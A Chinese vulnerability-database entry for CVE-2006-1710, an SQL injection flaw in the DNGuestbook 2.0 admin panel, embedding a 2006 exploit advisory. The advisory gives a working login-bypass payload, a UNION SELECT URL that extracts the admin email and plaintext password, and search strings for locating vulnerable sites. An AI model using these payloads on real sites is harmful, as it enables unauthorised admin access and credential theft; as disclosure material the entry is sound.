CVE-2006-1710
CVSS7.6
发布时间 :2006-04-11 14:06:00
修订时间 :2011-03-07 21:33:38
NMCOE    

[原文]SQL injection vulnerability in admin.php in Design Nation DNGuestbook 2.0 allows remote attackers to execute arbitrary SQL commands via the (1) email and (2) id parameters.


[CNNVD]Design Nation DNGuestbook Admin.PHP SQL注入漏洞 (CNNVD-200604-163)

        Design Nation DNGuestbook 2.0中的admin.php存在SQL注入漏洞。这使得远程攻击者可以借助于参数(1)email和(2)id执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.6 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1710
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1710
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-163
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/25699
(UNKNOWN)  XF  dnguestbook-admin-sql-injection(25699)
http://www.vupen.com/english/advisories/2006/1299
(UNKNOWN)  VUPEN  ADV-2006-1299
http://www.securityfocus.com/bid/17435
(UNKNOWN)  BID  17435
http://secunia.com/advisories/19601
(VENDOR_ADVISORY)  SECUNIA  19601
http://milw0rm.com/exploits/1653
(UNKNOWN)  MILW0RM  1653

- 漏洞信息

Design Nation DNGuestbook Admin.PHP SQL注入漏洞
高危 SQL注入
2006-04-11 00:00:00 2006-04-12 00:00:00
远程  
        Design Nation DNGuestbook 2.0中的admin.php存在SQL注入漏洞。这使得远程攻击者可以借助于参数(1)email和(2)id执行任意SQL命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.designnation.de/
        

- 漏洞信息 (1653)

dnGuestbook <= 2.0 Remote SQL Injection Vulnerabilities (EDBID:1653)
php webapps
2006-04-09 Verified
0 snatcher
N/A [点击下载]
#####################################################
# \_______________________________________________/ #
# |                                               | #
# |                                               | #
# |              SECURITY ADVISORY                | #
# |                                               | #
# |                                               | #
# /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ #
#####################################################



     advisory: dnGuestbook <= v2.0 remote sql injection vulnerability
      release: 2006-04-08
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+| 
      
  application: dnGuestbook <= v2.0
     download: http://www.designnation.de/
 app.descript: a php / mysql based guestbook script with an admin panel

  description: because of the false implemented userinputs you can login as admin with a simpel sql injection.
               afterward you can exploit a not validated GET variable to get admin's email and password.
  fingerprint: google -> "dnGuestbook by design-nation.de Version" -> 331
               msn -> "dnGuestbook by design-nation.de Version" -> 249
   conditions: php.ini -> magic_quotes_gpc = Off
       greets: all security guys and coders over the world, honkey :>, ..



---------- LOGIN AS ADMIN ----------

admin.php - line 771, 772
  $result = mysql_query ("SELECT * FROM dnguestbook_user WHERE mail='$mail' AND passwort='$passwort';");
  $eingeloggt = mysql_num_rows($result);

if magic_quotes_gpc is off, the ' won't be escaped and you can inject malicious sql code here.
the script only verifies if a result is given back, and doesn't check, if the entered email and 
password are the same like the email and password in the database.

you gonna log in with following username (the password isn't necessary):

E-Mail: ' OR 1 = 1 /*
Passwort: b0000m

the query would look like this:

  SELECT * FROM dnguestbook_user WHERE mail='' OR 1 = 1 /* AND passwort='b0000m'

the expression "/*" comments out the following part of the query.
the query will match always, because the WHERE - clause with "OR 1 = 1" is always true.

now you are logged in as admin. how will you get the admin password?


---------- GET ADMIN PASSWORD ----------

in the adminpanel, you click the link "Beiträge". after that, you click the [e] right of a guestbook
entry. it doesn't matter which entry you choose. normally, you can edit here some guestbok entries.
the uri will look like this:

  http://yourhost.com/path_to_gb/admin.php?gbgo=edit&id=8
  
two variables are transmitted over GET but only "id=8" is relevant for us.

admin.php - line 678
  $result = mysql_query ("SELECT * FROM dnguestbook_eintrag WHERE id=$id;");

you see, that the variable "id" isn't validated. you can inject malicious sql code again.
we make use of the UNION operator.

 http://yourhost.com/path_to_gb/admin.php?gbgo=edit&id=-999%20union%20select%200,passwort,0,mail,mail,mail,mail,0,0,passwort%20from%20dnguestbook_user

the admin's email is shown in the field "*Ihre E-Mail:" and the admin's password in the field "*Ihr Text:" (plaintext !!)

description of the UNION operator:
  http://dev.mysql.com/doc/refman/5.0/en/union.html

# milw0rm.com [2006-04-09]
		

- 漏洞信息

24496
dnGuestbook admin.php Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-04-09 Unknow
2006-04-09 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站